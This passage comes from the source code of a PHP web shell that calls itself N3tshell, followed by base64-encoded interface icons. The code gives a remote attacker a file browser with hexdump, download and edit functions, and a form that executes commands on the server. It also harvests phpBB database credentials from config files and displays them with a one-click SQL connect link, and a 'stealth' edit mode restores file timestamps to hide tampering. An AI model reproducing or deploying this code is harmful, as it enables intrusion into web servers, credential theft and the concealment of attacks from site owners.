if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info")
{
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
$fi = fopen($d.$f,"rb");
if ($fi)
{
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++)
{
$a1 .= sprintf("%02X",ord($str[$i]))." ";
switch (ord($str[$i]))
{
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= "&nbsp;"; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
//if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
}
$encoded = "";
if ($base64 == 1)
{
echo "<b>Base64 Encode</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2)
{
echo "<b>Base64 Encode + Chunk</b><br>";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f) ));
}
elseif($base64 == 3)
{
echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
}
elseif($base64 == 4)
{
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo "<b>Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo "</b><br>";
}
if (!empty($encoded))
{
echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
}
echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
<P>";
}
elseif ($ft == "html")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {N3tshexit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "phpsess")
{
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code")
{
if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("\n",$r);
if (count($arr == 18))
{
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by N3tshell. Please, report us for fix.";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
echo "</b><hr size=\"1\" noshade>";
}
}

echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {N3tshexit();}
echo "</div>";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img")
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "<center><b>Size:</b>&nbsp;";
$sizes = array("100","50","20");
foreach ($sizes as $v)
{
echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
if ($imgsize != $v ) {echo $v;}
else {echo "<u>".$v."</u>";}
echo "</a>&nbsp;&nbsp;&nbsp;";
}
echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
}
else
{
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit")
{
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo "<b>Saved!</b>";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("\r\n",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}

echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
}
}
else
{
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDno Q".
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiA GFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qF zfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+ oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa 8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4 LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubs xccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSu fn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB4 6GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh 4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4u OIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfV U4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38 przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7 He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cU WRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZ HB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRAD s=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoI sACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpB IRADs=",
"refresh"=>
"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIM vkheIYlMyJBkJ8lm6YxMKi6zWY".
"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093 Esv19q5O/woFu9ZAJ".
"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZ pHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODS nrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSU CdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfH EENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG 1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixny JhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHE VBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJf aFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3B E9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacx pmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3v f6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRR EVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMS z8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KL Fgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTR s4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgM DAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgM DAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYU AAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgM DAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1Pnkcgjg XwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c 1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQ SCnWg6FogpkHAMF4HAJsWh7/ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iE D5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwI CAgP8AAAD/AP//AAAA//8A/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpD Tq6qP/IX0Oz7AXU/1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3 GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5 QFk24HuOhODJwSU/IhBYTcjxe4".
